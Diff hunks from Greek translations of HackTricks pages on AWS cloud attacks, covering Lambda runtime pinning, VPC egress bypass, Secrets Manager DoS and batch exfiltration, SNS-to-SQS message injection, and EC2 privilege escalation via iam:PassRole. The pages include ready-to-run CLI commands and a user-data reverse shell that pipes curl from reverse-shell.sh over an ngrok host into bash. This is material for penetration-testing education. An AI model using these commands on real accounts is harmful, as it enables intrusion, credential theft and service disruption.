Καταχραστείτε το `lambda:PutRuntimeManagementConfig` για να καρφιτσώσετε μια function σε συγκεκριμένη έκδοση runtime (Manual) ή να παγώσετε τις ενημερώσεις (FunctionUpdate). Αυτό διατηρεί συμβατότητα με κακόβουλα layers/wrappers και μπορεί να κρατήσει τη function σε παρωχημένο, ευάλωτο runtime για να διευκολύνει την εκμετάλλευση και τη μακροχρόνια παραμονή.
{{#include ../../../../banners/hacktricks-training.md}}
Καταχρηστείτε την `lambda:PutRuntimeManagementConfig` για να pin μια function σε μια συγκεκριμένη έκδοση runtime (Manual) ή να παγώσετε τις ενημερώσεις (FunctionUpdate). Αυτό διατηρεί τη συμβατότητα με κακόβουλα layers/wrappers και μπορεί να κρατήσει τη function σε ένα ξεπερασμένο, ευάλωτο runtime για να βοηθήσει exploitation και μακροχρόνια persistence.
Απαιτήσεις: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
@@ -9,4 +11,6 @@
- Πάγωμα ενημερώσεων: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Επαλήθευση: `aws lambda get-runtime-management-config --function-name --region us-east-1`
Προαιρετικά, καρφιτσώστε σε συγκεκριμένη έκδοση runtime εξάγοντας το Runtime Version ARN από τα logs INIT_START και χρησιμοποιώντας `--update-runtime-on Manual --runtime-version-arn <arn>`.
Προαιρετικά, pin σε μια συγκεκριμένη έκδοση runtime εξάγοντας το Runtime Version ARN από τα INIT_START logs και χρησιμοποιώντας `--update-runtime-on Manual --runtime-version-arn <arn>`.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,16 +1,18 @@
# AWS Lambda VPC Egress Bypass by Detaching VpcConfig
Αναγκάστε μια Lambda function να βγει από ένα περιορισμένο VPC ενημερώνοντας τη διαμόρφωσή της με κενό VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Η function θα τρέχει τότε στο Lambda-managed networking plane, επανακτώντας την εξερχόμενη πρόσβαση στο διαδίκτυο και παρακάμπτοντας τους egress ελέγχους που επιβάλλονται από ιδιωτικά VPC subnets χωρίς NAT.
{{#include ../../../../banners/hacktricks-training.md}}
Αναγκάστε μια Lambda function να εξέλθει από ένα περιορισμένο VPC ενημερώνοντας τη ρύθμισή της με ένα κενό VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Η function θα τρέξει τότε στο Lambda-managed networking plane, επανακτώντας την εξερχόμενη πρόσβαση στο Internet και παρακάμπτοντας τους ελέγχους egress που εφαρμόζονται από ιδιωτικά VPC subnets χωρίς NAT.
## Κατάχρηση
- Προαπαιτούμενα: δικαίωμα lambda:UpdateFunctionConfiguration στην στοχευόμενη function (και lambda:InvokeFunction για επαλήθευση), καθώς και δικαιώματα για ενημέρωση κώδικα/handler αν τα αλλάξετε.
- Υποθέσεις: Η function είναι αυτήν τη στιγμή διαμορφωμένη με VpcConfig που δείχνει σε ιδιωτικά subnets χωρίς NAT (οπότε η εξερχόμενη πρόσβαση στο διαδίκτυο είναι αποκλεισμένη).
- Περιοχή: us-east-1
- Προαπαιτούμενα: lambda:UpdateFunctionConfiguration στο target function (και lambda:InvokeFunction για επικύρωση), καθώς και δικαιώματα για update κώδικα/handler αν τα αλλάξετε.
- Υποθέσεις: Η function είναι αυτή τη στιγμή ρυθμισμένη με VpcConfig που δείχνει σε ιδιωτικά subnets χωρίς NAT (οπότε η εξερχόμενη πρόσβαση στο Internet είναι μπλοκαρισμένη).
- Region: us-east-1
### Βήματα
0) Ετοιμάστε έναν ελάχιστο handler που αποδεικνύει ότι η εξερχόμενη HTTP λειτουργεί
0) Προετοιμάστε έναν ελάχιστο handler που αποδεικνύει ότι η εξερχόμενη HTTP λειτουργεί
cat > net.py <<'PY'
import urllib.request, json
@@ -26,7 +28,7 @@ zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) Καταγράψτε την τρέχουσα VPC config (για επαναφορά αργότερα αν χρειαστεί)
1) Καταγράψτε την τρέχουσα VPC config (για αποκατάσταση αργότερα αν χρειαστεί)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
@@ -39,12 +41,12 @@ aws lambda update-function-configuration \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Κάντε invoke και επαληθεύστε την εξερχόμενη πρόσβαση
3) Επικαλεστείτε και επαληθεύστε την εξερχόμενη πρόσβαση
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) Επαναφέρετε την αρχική VPC config
(Προαιρετικό) Επαναφέρετε την αρχική VPC config
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
@@ -52,12 +54,13 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
fi
### Επιπτώσεις
- Επαναφέρει την ανεμπόδιστη εξερχόμενη πρόσβαση στο διαδίκτυο από τη function, επιτρέποντας εξαγωγή δεδομένων (data exfiltration) ή C2 από workloads που είχαν σκόπιμα απομονωθεί σε ιδιωτικά subnets χωρίς NAT.
- Επανακτάται η απεριόριστη εξερχόμενη πρόσβαση στο Internet από τη function, επιτρέποντας data exfiltration ή C2 από workloads που είχαν σκόπιμα απομονωθεί σε ιδιωτικά subnets χωρίς NAT.
### Παράδειγμα εξόδου (μετά την αποσύνδεση του VpcConfig)
### Παράδειγμα output (μετά την αποσύνδεση του VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
### Καθαρισμός
- Αν δημιουργήσατε προσωρινές αλλαγές σε κώδικα/handler, επαναφέρετέ τες.
- Προαιρετικά επαναφέρετε το αρχικό VpcConfig που αποθηκεύτηκε στο /tmp/orig-vpc.json όπως φαίνεται παραπάνω.
- Αν δημιουργήσατε προσωρινές αλλαγές στον κώδικα/handler, επαναφέρετέ τες.
- Προαιρετικά επαναφέρετε το αρχικό VpcConfig αποθηκευμένο στο /tmp/orig-vpc.json όπως φαίνεται παραπάνω.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,22 +4,22 @@
## Secrets Manager
Για περισσότερες πληροφορίες δείτε:
For more information check:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Ανάγνωση Secrets
### Read Secrets
Τα **secrets καθαυτά είναι ευαίσθητες πληροφορίες**, [ελέγξτε τη σελίδα privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για να μάθετε πώς να τα διαβάσετε.
Τα **secrets είναι ευαίσθητες πληροφορίες**, [έλεγξε τη σελίδα privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για να μάθεις πώς να τα διαβάσεις.
### DoS Change Secret Value
Αλλάζοντας την τιμή του secret μπορείτε να **DoS όλα τα συστήματα που εξαρτώνται από αυτήν την τιμή.**
Αλλάζοντας την τιμή ενός secret μπορείς να **προκαλέσεις DoS σε όλα τα συστήματα που εξαρτώνται από αυτή την τιμή.**
> [!WARNING]
> Σημειώστε ότι οι προηγούμενες τιμές αποθηκεύονται επίσης, οπότε είναι εύκολο να επιστρέψετε στην προηγούμενη τιμή.
> Σημείωση ότι οι προηγούμενες τιμές αποθηκεύονται επίσης, οπότε είναι εύκολο να επαναφέρεις την προηγούμενη τιμή.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
```
### DoS Change KMS key
Εάν ο επιτιθέμενος έχει την άδεια secretsmanager:UpdateSecret, μπορεί να ρυθμίσει το secret ώστε να χρησιμοποιεί ένα KMS key που ανήκει στον ίδιο. Το κλειδί αυτό αρχικά είναι διαμορφωμένο έτσι ώστε ο καθένας να μπορεί να το προσπελάσει και να το χρησιμοποιήσει, οπότε η ενημέρωση του secret με το νέο κλειδί είναι δυνατή. Αν το κλειδί δεν ήταν προσβάσιμο, το secret δεν θα μπορούσε να ενημερωθεί.
Εάν ο attacker έχει την άδεια secretsmanager:UpdateSecret, μπορεί να ρυθμίσει το secret ώστε να χρησιμοποιεί ένα KMS key που ανήκει στον attacker. Αυτό το key αρχικά ρυθμίζεται με τρόπο που οποιοσδήποτε μπορεί να έχει πρόσβαση και να το χρησιμοποιεί, επομένως η ενημέρωση του secret με το νέο key είναι δυνατή. Εάν το key δεν ήταν προσβάσιμο, το secret δεν θα μπορούσε να ενημερωθεί.
Μετά την αλλαγή του κλειδιού για το secret, ο επιτιθέμενος τροποποιεί τη διαμόρφωση του κλειδιού του ώστε μόνο αυτός να μπορεί να το προσπελάσει. Έτσι, στις επόμενες εκδόσεις του secret, αυτές θα κρυπτογραφούνται με το νέο κλειδί, και αφού δεν υπάρχει πρόσβαση σε αυτό, η δυνατότητα ανάκτησης του secret θα χαθεί.
Αφού αλλάξει το key για το secret, ο attacker τροποποιεί τη διαμόρφωση του key του ώστε μόνο αυτός να μπορεί να έχει πρόσβαση. Με αυτόν τον τρόπο, στις επόμενες εκδόσεις του secret θα κρυπτογραφείται με το νέο key, και επειδή δεν υπάρχει πρόσβαση σε αυτό, η δυνατότητα ανάκτησης του secret θα χαθεί.
Είναι σημαντικό να σημειωθεί ότι αυτή η μη προσβασιμότητα θα συμβεί μόνο στις μεταγενέστερες εκδόσεις, μετά την αλλαγή του περιεχομένου του secret, αφού η τρέχουσα έκδοση εξακολουθεί να είναι κρυπτογραφημένη με το αρχικό KMS key.
Είναι σημαντικό να σημειωθεί ότι αυτή η μη προσβασιμότητα θα συμβεί μόνο σε μεταγενέστερες εκδόσεις, αφού αλλάξει το περιεχόμενο του secret, δεδομένου ότι η τρέχουσα έκδοση εξακολουθεί να είναι κρυπτογραφημένη με το αρχικό KMS key.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
@@ -48,29 +48,29 @@ aws secretsmanager delete-secret \
```
## secretsmanager:RestoreSecret
Είναι δυνατή η επαναφορά ενός μυστικού, κάτι που επιτρέπει την ανάκτηση μυστικών που έχουν προγραμματιστεί για διαγραφή, καθώς η ελάχιστη περίοδος διαγραφής για μυστικά είναι 7 ημέρες και η μέγιστη 30 ημέρες. Σε συνδυασμό με το δικαίωμα secretsmanager:GetSecretValue, αυτό καθιστά δυνατή την ανάκτηση του περιεχομένου τους.
Είναι δυνατόν να επαναφερθεί ένα secret, κάτι που επιτρέπει την αποκατάσταση των secret που έχουν προγραμματιστεί για διαγραφή, καθώς η ελάχιστη περίοδος διαγραφής για secrets είναι 7 ημέρες και η μέγιστη 30 ημέρες. Σε συνδυασμό με την άδεια secretsmanager:GetSecretValue, αυτό καθιστά δυνατή την ανάκτηση του περιεχομένου τους.
Για να ανακτήσετε ένα μυστικό που βρίσκεται σε διαδικασία διαγραφής, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
Για να ανακτήσετε ένα secret που βρίσκεται στη διαδικασία διαγραφής, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
```bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
```
## secretsmanager:DeleteResourcePolicy
Αυτή η ενέργεια επιτρέπει τη διαγραφή της resource policy που ελέγχει ποιος μπορεί να έχει πρόσβαση σε ένα secret. Αυτό μπορεί να οδηγήσει σε DoS αν η resource policy είχε ρυθμιστεί ώστε να επιτρέπει πρόσβαση σε ένα συγκεκριμένο σύνολο χρηστών.
Αυτή η ενέργεια επιτρέπει τη διαγραφή του resource policy που ελέγχει ποιος μπορεί να έχει πρόσβαση σε ένα secret. Αυτό μπορεί να οδηγήσει σε DoS εάν το resource policy είχε ρυθμιστεί ώστε να επιτρέπει πρόσβαση σε ένα συγκεκριμένο σύνολο χρηστών.
Για να διαγράψετε τη resource policy:
Για να διαγράψετε το resource policy:
```bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
```
## secretsmanager:UpdateSecretVersionStage
Οι καταστάσεις ενός μυστικού χρησιμοποιούνται για τη διαχείριση των εκδόσεων ενός μυστικού. Το AWSCURRENT σηματοδοτεί την ενεργή έκδοση που χρησιμοποιούν οι εφαρμογές, το AWSPREVIOUS διατηρεί την προηγούμενη έκδοση ώστε να μπορείτε να επαναφέρετε αν χρειαστεί, και το AWSPENDING χρησιμοποιείται στη διαδικασία περιστροφής για να προετοιμάσει και να επικυρώσει μια νέα έκδοση πριν την ορίσει ως τρέχουσα.
Οι καταστάσεις ενός secret χρησιμοποιούνται για τη διαχείριση των εκδόσεων ενός secret. Το AWSCURRENT σηματοδοτεί την ενεργή έκδοση που χρησιμοποιούν οι εφαρμογές, το AWSPREVIOUS κρατάει την προηγούμενη έκδοση ώστε να μπορείτε να επαναφέρετε αν χρειαστεί, και το AWSPENDING χρησιμοποιείται στη διαδικασία rotation για να προετοιμάσει και να επαληθεύσει μια νέα έκδοση πριν την καταστήσει τρέχουσα.
Οι εφαρμογές διαβάζουν πάντα την έκδοση με AWSCURRENT. Εάν κάποιος μετακινήσει αυτή την ετικέτα στη λάθος έκδοση, οι εφαρμογές θα χρησιμοποιήσουν άκυρα credentials και μπορεί να αποτύχουν.
Οι εφαρμογές πάντα διαβάζουν την έκδοση με το AWSCURRENT. Αν κάποιος μετακινήσει αυτή την ετικέτα σε λάθος έκδοση, οι εφαρμογές θα χρησιμοποιήσουν άκυρα διαπιστευτήρια και ενδέχεται να αποτύχουν.
Το AWSPREVIOUS δεν χρησιμοποιείται αυτόματα. Ωστόσο, αν το AWSCURRENT αφαιρεθεί ή ανατεθεί λανθασμένα, μπορεί να φαίνεται ότι όλα εξακολουθούν να λειτουργούν με την προηγούμενη έκδοση.
Το AWSPREVIOUS δεν χρησιμοποιείται αυτόματα. Ωστόσο, αν το AWSCURRENT αφαιρεθεί ή επαναεκχωρηθεί λανθασμένα, μπορεί να φαίνεται ότι όλα εξακολουθούν να τρέχουν με την προηγούμενη έκδοση.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
@@ -78,24 +78,18 @@ aws secretsmanager update-secret-version-stage \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
```
{{#include ../../../../banners/hacktricks-training.md}}
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
Καταχραστείτε το Secrets Manager BatchGetSecretValue API για να ανακτήσετε έως και 20 μυστικά σε ένα αίτημα. Αυτό μπορεί να μειώσει δραστικά τον όγκο κλήσεων API σε σύγκριση με την εκτέλεση GetSecretValue για κάθε μυστικό. Αν χρησιμοποιούνται φίλτρα (tags/name), απαιτείται επίσης η άδεια ListSecrets. Το CloudTrail εξακολουθεί να καταγράφει ένα γεγονός GetSecretValue για κάθε μυστικό που ανακτάται σε παρτίδα.
Εκμεταλλευτείτε το Secrets Manager BatchGetSecretValue API για να ανακτήσετε έως 20 secrets σε ένα αίτημα. Αυτό μπορεί να μειώσει δραματικά τον όγκο κλήσεων API σε σύγκριση με την επανάληψη του GetSecretValue για κάθε secret. Εάν χρησιμοποιούνται φίλτρα (tags/name), απαιτείται επίσης η άδεια ListSecrets. Το CloudTrail εξακολουθεί να καταγράφει ένα γεγονός GetSecretValue για κάθε secret που ανακτάται στο batch.
Απαιτούμενα δικαιώματα
Απαιτούμενες άδειες
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue για κάθε στοχευμένο μυστικό
- secretsmanager:ListSecrets αν χρησιμοποιείτε --filters
- kms:Decrypt στα CMKs που χρησιμοποιούνται από τα μυστικά (αν δεν χρησιμοποιείτε aws/secretsmanager)
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
> [!WARNING]
> Λάβετε υπόψη ότι η άδεια `secretsmanager:BatchGetSecretValue` από μόνη της δεν αρκεί για την ανάκτηση μυστικών — χρειάζεστε επίσης την `secretsmanager:GetSecretValue` για κάθε μυστικό που θέλετε να ανακτήσετε.
> Σημειώστε ότι η άδεια `secretsmanager:BatchGetSecretValue` από μόνη της δεν αρκεί για να ανακτήσετε secrets — χρειάζεστε επίσης `secretsmanager:GetSecretValue` για κάθε secret που θέλετε να ανακτήσετε.
Exfiltrate by explicit list
```bash
@@ -103,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
Exfiltrate με φίλτρα (tag key/value or name prefix)
Εξαγωγή μέσω φίλτρων (tag key/value ή πρόθεμα ονόματος)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
@@ -120,11 +114,12 @@ aws secretsmanager batch-get-secret-value \
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
```
Διαχείριση μερικών αποτυχιών
Αντιμετώπιση μερικών αποτυχιών
```bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
Επιπτώσεις
- Γρήγορη “smash-and-grab” πολλών secrets με λιγότερες API κλήσεις, ενδεχομένως παρακάμπτοντας ειδοποιήσεις ρυθμισμένες για αιχμές του GetSecretValue.
- Τα CloudTrail logs εξακολουθούν να περιλαμβάνουν ένα GetSecretValue event ανά secret που ανακτάται από την παρτίδα.
- Γρήγορο “smash-and-grab” πολλών secrets με λιγότερες κλήσεις API, ενδεχομένως παρακάμπτοντας ειδοποιήσεις που είναι ρυθμισμένες για αιχμές των GetSecretValue.
- Τα CloudTrail logs εξακολουθούν να περιλαμβάνουν ένα γεγονός GetSecretValue ανά secret που ανακτήθηκε από το batch.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,14 +4,14 @@
## Περιγραφή
Καταχράσου την resource policy της SQS queue ώστε ένα attacker-controlled SNS topic να δημοσιεύει μηνύματα σε μια victim SQS queue. Σε ίδιο account, μια SQS subscription σε ένα SNS topic επιβεβαιώνεται αυτόματα· σε cross-account, πρέπει να διαβάσεις το token SubscriptionConfirmation από την queue και να καλέσεις το ConfirmSubscription. Αυτό επιτρέπει ανεπιθύμητη message injection που οι downstream consumers μπορεί να εμπιστευτούν άθελά τους.
Κακοποίηση του resource policy μιας SQS queue για να επιτρέψει σε ένα attacker-controlled SNS topic να δημοσιεύει μηνύματα σε μια victim SQS queue. Στο ίδιο account, μια SQS subscription σε ένα SNS topic αυτο-επιβεβαιώνεται· σε cross-account περίπτωση, πρέπει να διαβάσετε το SubscriptionConfirmation token από την queue και να καλέσετε το ConfirmSubscription. Αυτό επιτρέπει μη αξιόπιστη έγχυση μηνυμάτων που οι downstream consumers μπορεί να εμπιστευτούν σιωπηλά.
### Απαιτήσεις
- Ικανότητα να τροποποιήσεις την target SQS queue resource policy: `sqs:SetQueueAttributes` στην victim queue.
- Ικανότητα να δημιουργήσεις/δημοσιεύσεις σε ένα SNS topic υπό έλεγχο του attacker: `sns:CreateTopic`, `sns:Publish`, και `sns:Subscribe` στον attacker account/topic.
- Μόνο cross-account: προσωρινό `sqs:ReceiveMessage` στην victim queue για να διαβάσεις το token επιβεβαίωσης και να καλέσεις `sns:ConfirmSubscription`.
- Ικανότητα να τροποποιήσετε το resource policy της στοχευόμενης SQS queue: `sqs:SetQueueAttributes` στην victim queue.
- Ικανότητα δημιουργίας/δημοσίευσης σε ένα SNS topic υπό τον έλεγχο του attacker: `sns:CreateTopic`, `sns:Publish`, και `sns:Subscribe` στον attacker account/topic.
- Μόνο cross-account: προσωρινό `sqs:ReceiveMessage` στην victim queue για να διαβάσετε το confirmation token και να καλέσετε το `sns:ConfirmSubscription`.
### Εκμετάλλευση εντός του ίδιου account
### Εκμετάλλευση στο ίδιο account
```bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
@@ -45,10 +45,10 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGI
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
```
### Σημειώσεις μεταξύ λογαριασμών
- Η policy της ουράς παραπάνω πρέπει να επιτρέψει το ξένο `TOPIC_ARN` (λογαριασμός επιτιθέμενου).
- Οι συνδρομές δεν επιβεβαιώνονται αυτόματα. Χορηγήστε στον εαυτό σας προσωρινά `sqs:ReceiveMessage` στην ουρά του θύματος για να διαβάσετε το μήνυμα `SubscriptionConfirmation` και στη συνέχεια καλέστε `sns confirm-subscription` με το `Token`.
- Η παραπάνω πολιτική της ουράς πρέπει να επιτρέπει το ξένο `TOPIC_ARN` (attacker account).
- Οι συνδρομές δεν θα αυτο-επιβεβαιωθούν. Χορηγήστε στον εαυτό σας προσωρινά `sqs:ReceiveMessage` στην ουρά του θύματος για να διαβάσετε το μήνυμα `SubscriptionConfirmation` και στη συνέχεια καλέστε `sns confirm-subscription` με το `Token` του.
### Επιπτώσεις
**Πιθανή επίπτωση**: Συνεχής μη αιτηθείσα εισαγωγή μηνυμάτων σε αξιόπιστη SQS ουρά μέσω SNS, ενδεχομένως προκαλώντας ανεπιθύμητη επεξεργασία, ρύπανση δεδομένων ή κατάχρηση ροής εργασίας.
**Πιθανός Αντίκτυπος**: Συνεχής ανεπιθύμητη έγχυση μηνυμάτων σε εμπιστευόμενη ουρά SQS μέσω SNS, ενδεχομένως ενεργοποιώντας ανεπιθύμητη επεξεργασία, ρύπανση δεδομένων ή κατάχρηση ροής εργασίας.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## EC2
Για περισσότερες **πληροφορίες σχετικά με το EC2** δείτε:
Για περισσότερες **πληροφορίες για το EC2** δες:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@
### `iam:PassRole`, `ec2:RunInstances`
Ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει ένα instance με επισυναπτόμενο IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance** για να κλέψει τα IAM role credentials από το metadata endpoint.
Ένας attacker θα μπορούσε να δημιουργήσει ένα instance επισυνάπτοντας ένα IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance για να κλέψει τα IAM role credentials από το metadata endpoint.
- **Πρόσβαση μέσω SSH**
Τρέξτε ένα νέο instance χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και μετά κάντε ssh σε αυτό (αν θέλετε να δημιουργήσετε νέο ίσως χρειαστεί να έχετε την άδεια `ec2:CreateKeyPair`).
Εκτέλεσε ένα νέο instance χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και στη συνέχεια ssh σε αυτό (αν θέλεις να δημιουργήσεις νέο ίσως χρειαστεί να έχεις την άδεια `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Πρόσβαση μέσω rev shell σε user data**
Μπορείς να τρέξεις ένα νέο instance χρησιμοποιώντας ένα **user data** (`--user-data`) που θα σου στείλει ένα **rev shell**. Δεν χρειάζεται να ορίσεις security group με αυτόν τον τρόπο.
Μπορείτε να εκκινήσετε ένα νέο instance χρησιμοποιώντας **user data** (`--user-data`) που θα σας στείλει ένα **rev shell**. Δεν χρειάζεται να καθορίσετε security group με αυτόν τον τρόπο.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Να είστε προσεκτικοί με GuradDuty αν χρησιμοποιείτε τα credentials του IAM role εκτός του instance:
Πρόσεχε το GuradDuty αν χρησιμοποιήσεις τα credentials του IAM role έξω από το instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιοδήποτε EC2 role που είναι συνδεδεμένο με υπάρχοντα instance profiles.
**Potential Impact:** Άμεσο privesc σε οποιοδήποτε EC2 role που είναι attached σε υπάρχοντα instance profiles.
#### Privesc σε ECS
Με αυτό το σύνολο δικαιωμάτων μπορείτε επίσης να **create an EC2 instance and register it inside an ECS cluster**. Με αυτόν τον τρόπο, ECS **services** θα **run** μέσα στο **EC2 instance** όπου έχετε πρόσβαση και στη συνέχεια μπορείτε να penetrate those services (docker containers) και να **steal their ECS roles attached**.
Με αυτό το σύνολο δικαιωμάτων μπορείς επίσης να **δημιουργήσεις ένα EC2 instance και να το εγγράψεις σε ένα ECS cluster**. Με αυτόν τον τρόπο, οι ECS **services** θα **τρέξουν** μέσα στο **EC2 instance** στο οποίο έχεις πρόσβαση και μετά μπορείς να παραβιάσεις αυτές τις υπηρεσίες (docker containers) και να **κλέψεις τα ECS roles που έχουν συνημμένα**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Για να μάθετε πώς να **αναγκάσετε τις υπηρεσίες ECS να εκτελεστούν** σε αυτό το νέο EC2 instance ελέγξτε:
Για να μάθετε πώς να αναγκάσετε τα ECS services να τρέξουν σε αυτό το νέο EC2 instance δείτε:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
If you **cannot create a new instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance` μπορεί να μπορέσετε να εγγράψετε το instance μέσα στο cluster και να εκτελέσετε την προαναφερθείσα επίθεση.
Αν **δεν μπορείτε να δημιουργήσετε ένα νέο instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance`, μπορεί να είστε σε θέση να καταχωρήσετε το instance μέσα στο cluster και να πραγματοποιήσετε την προαναφερθείσα επίθεση.
**Potential Impact:** Άμεσο privesc σε ECS roles που είναι attached σε tasks.
**Πιθανός Αντίκτυπος:** Direct privesc to ECS roles attached to tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **αλλάξει το IAM role του compromised instance** ώστε να κλέψει νέες διαπιστευτήριες.\
Καθώς ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile **έχει ήδη ένα role** (συνήθης περίπτωση), θα χρειαστείτε επίσης **`iam:RemoveRoleFromInstanceProfile`**.
Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **αλλάξει το IAM role ενός παραβιασμένου instance** ώστε να αποσπάσει νέες διαπιστευτήριες.\
Εφόσον ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile **έχει ήδη ένα role** (συχνή περίπτωση), θα χρειαστείτε επίσης **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Αν το **instance profile έχει role** και ο **attacker** **δεν μπορεί να το αφαιρέσει**, υπάρχει μια άλλη παράκαμψη. Μπορεί να **βρει** ένα **instance profile χωρίς role** ή να **δημιουργήσει ένα νέο** (`iam:CreateInstanceProfile`), να **προσθέσει** το **role** σε εκείνο το **instance profile** (όπως αναφέρθηκε προηγουμένως), και να **συνδέσει το instance profile** compromised με μια compromised **instance:**
Αν το **instance profile έχει ένα role** και ο attacker **δεν μπορεί να το αφαιρέσει**, υπάρχει μια άλλη λύση. Μπορεί να **βρει** ένα **instance profile χωρίς role** ή να **δημιουργήσει ένα καινούριο** (`iam:CreateInstanceProfile`), να **προσθέσει** το **role** σε εκείνο το **instance profile** (όπως συζητήθηκε προηγουμένως), και να **συνδέσει το instance profile** compromised σε ένα compromised i**nstance:**
- Αν η **instance** **δεν έχει κανένα instance profile** (`ec2:AssociateIamInstanceProfile`)
- Αν το instance **δεν έχει κανένα instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και να έχετε κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση instance profile).
**Πιθανός Αντίκτυπος:** Άμεση privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και να διαθέτετε κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση του instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Με αυτές τις άδειες είναι δυνατόν να αλλάξετε το instance profile που είναι συσχετισμένο με μια instance, οπότε αν ο επιτιθέμενος είχε ήδη πρόσβαση σε μια instance, θα μπορέσει να κλέψει διαπιστευτήρια για περισσότερα instance profile roles αλλάζοντας αυτό που είναι συσχετισμένο με αυτήν.
